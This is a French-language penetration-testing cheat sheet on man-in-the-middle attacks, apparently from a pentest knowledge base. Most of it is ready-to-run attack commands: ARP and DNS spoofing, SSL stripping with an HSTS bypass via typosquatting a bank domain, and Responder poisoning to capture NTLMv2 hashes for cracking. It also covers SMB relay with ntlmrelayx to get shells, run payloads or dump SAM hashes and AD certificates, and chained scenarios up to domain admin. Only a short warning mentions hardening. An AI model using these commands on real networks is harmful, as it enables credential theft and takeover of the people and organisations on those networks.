---
title: "Man-in-the-Middle — MITM"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [mitm, arp-spoofing, responder, smb-relay, bettercap, ssl-strip, mitm6, llmnr, pentest]
difficulty: advanced
status: stable
updated: "2025-05-14"
---
## Principe MITM

```
Client ──── (trafic intercepté) ──── Attaquant ──── Serveur/Réseau
```

L'attaquant se positionne entre la victime et le réseau pour intercepter, lire ou modifier le trafic.

---

## ARP Spoofing — Empoisonnement ARP

```bash
# Activer le forwarding IP (sinon le trafic est coupé)
echo 1 > /proc/sys/net/ipv4/ip_forward

# arpspoof (dsniff)
arpspoof -i eth0 -t {{VICTIM_IP}} {{GATEWAY_IP}}   # dire à la victime : "je suis le gateway"
arpspoof -i eth0 -t {{GATEWAY_IP}} {{VICTIM_IP}}   # dire au gateway : "je suis la victime"

# Capturer le trafic
tcpdump -i eth0 -w capture.pcap host {{VICTIM_IP}}

# Vérifier que le MITM fonctionne
arp -n   # sur la victime : l'IP gateway doit pointer vers notre MAC
```

---

## Bettercap — MITM moderne

```bash
# Lancer Bettercap
bettercap -iface eth0

# Dans la console interactive :
net.probe on                          # découverte du réseau
net.show                              # lister les hôtes

# ARP spoofing
set arp.spoof.targets {{VICTIM_IP}}
set arp.spoof.fullduplex true         # bidirectionnel (gateway + victime)
arp.spoof on

# Capturer credentials en clair
net.sniff on
set net.sniff.verbose true

# DNS spoofing (rediriger un domaine vers notre IP)
set dns.spoof.domains {{TARGET_DOMAIN}}
set dns.spoof.address {{LHOST}}
dns.spoof on

# HTTPS via HSTS bypass (caplet)
set https.proxy.sslstrip true
https.proxy on
```

---

## SSL Stripping — Downgrade HTTPS → HTTP

```bash
# sslstrip (Python 2 — legacy)
sslstrip -l 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

# Bettercap — approche moderne
set http.proxy.sslstrip true
http.proxy on

# Limitation : HSTS (HTTP Strict Transport Security) protège contre le SSL strip
# Contournement HSTS : sslstrip+ + DNS spoofing du sous-domaine
# www.bank.com → wwww.bank.com (typosquatting) — pas couvert par HSTS preload
```

---

## Responder — Empoisonnement LLMNR / NBT-NS / WPAD

```bash
# LLMNR (UDP 5355) et NBT-NS (UDP 137) : protocoles de résolution de noms Windows
# Quand un nom n'est pas résolu par DNS, Windows broadcast en LLMNR/NBT-NS
# Responder répond à ces requêtes et capture les hash NTLMv2

responder -I eth0 -wrf
# -w  : WPAD rogue proxy
# -r  : répondre aux requêtes NBT-NS type NETBIOS
# -f  : fingerprinting

# Les hash capturés apparaissent dans /usr/share/responder/logs/
# Format : NTLMv2-SSP-{{VICTIM_IP}}.txt

# Cracker les hash NTLMv2
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# WPAD (Web Proxy Auto-Discovery) abuse
# Windows cherche automatiquement un fichier wpad.dat sur le réseau
# Responder sert un faux WPAD → capture les credentials proxy
```

---

## SMB Relay — Relayer les credentials NTLM

```bash
# Prérequis : SMB signing désactivé sur les cibles
# Vérifier SMB signing :
nmap --script smb2-security-mode -p 445 {{TARGET_SUBNET}}
crackmapexec smb {{TARGET_SUBNET}} --gen-relay-list targets.txt

# Étape 1 : désactiver SMB et HTTP dans Responder (on capture mais on ne répond pas)
# Modifier /etc/responder/Responder.conf :
# SMB = Off
# HTTP = Off

# Étape 2 : lancer Responder (capture LLMNR/NBT-NS mais ne répond pas aux auth)
responder -I eth0 -wf

# Étape 3 : relayer vers les cibles avec ntlmrelayx
ntlmrelayx.py -tf targets.txt -smb2support
# → Quand un utilisateur tente de s'authentifier, on relaie vers les cibles
# → Si l'utilisateur est admin local sur la cible → on obtient un shell ou les hashes SAM

# Options ntlmrelayx utiles :
ntlmrelayx.py -tf targets.txt -smb2support -i          # shell interactif
ntlmrelayx.py -tf targets.txt -smb2support -e shell.exe # exécuter un payload
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami > C:\out.txt"  # commande
ntlmrelayx.py -tf targets.txt -smb2support --dump-adcs  # voler les certificats AD
```

---

## mitm6 — MITM via IPv6

```bash
# Windows préfère IPv6 à IPv4 — mitm6 se fait passer pour le routeur IPv6
# Combiné avec ntlmrelayx → voler des credentials ou créer des comptes AD

# Étape 1 : mitm6 (annonce un faux routeur IPv6 + DNS)
mitm6 -d {{TARGET_DOMAIN}}

# Étape 2 : ntlmrelayx avec LDAPS (pour créer un compte machine ou déléguer)
ntlmrelayx.py -6 -t ldaps://{{DC_IP}} -wh fakewpad.{{TARGET_DOMAIN}} \
  --add-computer ATTACK$ --delegate-access

# Résultat : compte machine créé → RBCD attack possible
# Ou récupérer les credentials via WPAD spoof

# Vérification : les clients Windows vont recevoir une adresse IPv6 de mitm6
# et utiliser notre machine comme DNS → on contrôle la résolution de noms
```

---

## mitmproxy — Inspection HTTP/HTTPS

```bash
# Proxy transparent pour inspecter et modifier le trafic HTTP/HTTPS

# Mode interactif (terminal)
mitmproxy -p 8080

# Mode automatique (dump)
mitmdump -p 8080 -w traffic.dump

# Rediriger le trafic vers mitmproxy (iptables)
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80  -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

# Script Python pour modifier les réponses à la volée
# mitmdump -s script.py
# script.py :
# def response(flow):
#     if "password" in flow.response.text:
#         print(flow.response.text)

# Installer le certificat mitmproxy sur la victime
# → ~/.mitmproxy/mitmproxy-ca-cert.pem
```

---

## Ettercap — MITM GUI/CLI

```bash
# Mode CLI — ARP poisoning + sniff
ettercap -T -q -i eth0 -M arp:remote /{{VICTIM_IP}}// /{{GATEWAY_IP}}//

# Avec plugin DNS spoofing
# Modifier /etc/ettercap/etter.dns : ajouter "{{TARGET_DOMAIN}} A {{LHOST}}"
ettercap -T -q -i eth0 -M arp:remote -P dns_spoof /{{VICTIM_IP}}// /{{GATEWAY_IP}}//
```

---

## Scénarios combinés

### LLMNR → Hash → Crack → Accès

```
1. responder -I eth0 -wrf
2. Attendre qu'un utilisateur tente d'accéder à un partage inexistant
3. Récupérer le NTLMv2 hash
4. hashcat -m 5600 → mot de passe en clair
5. crackmapexec smb {{TARGET_SUBNET}} -u {{USER}} -p {{PASSWORD}}
```

### mitm6 → LDAP Relay → DA

```
1. mitm6 -d {{DOMAIN}}
2. ntlmrelayx -6 -t ldaps://{{DC_IP}} --delegate-access
3. Compte machine créé avec délégation → getST.py → accès DA
```

### ARP Spoof → SSL Strip → Credentials

```
1. echo 1 > /proc/sys/net/ipv4/ip_forward
2. bettercap → arp.spoof + ssl.strip + net.sniff
3. Récupérer credentials soumis sur des formulaires HTTP
```

<Warning>
LLMNR et NBT-NS poisoning fonctionnent par défaut dans tous les environnements Windows non durcis. Sur un réseau de production, quelques minutes de Responder suffisent souvent à capturer des dizaines de hash. Désactiver LLMNR via GPO (`Computer > Administrative Templates > Network > DNS Client > Turn off multicast name resolution`) est une des mesures de hardening les plus impactantes.
</Warning>

<Tip>
La combinaison mitm6 + ntlmrelayx vers LDAPS est souvent la technique la plus efficace en interne AD car elle ne nécessite aucun compte initial. Elle fonctionne tant que SMB signing n'est pas forcé et que IPv6 n'est pas désactivé.
</Tip>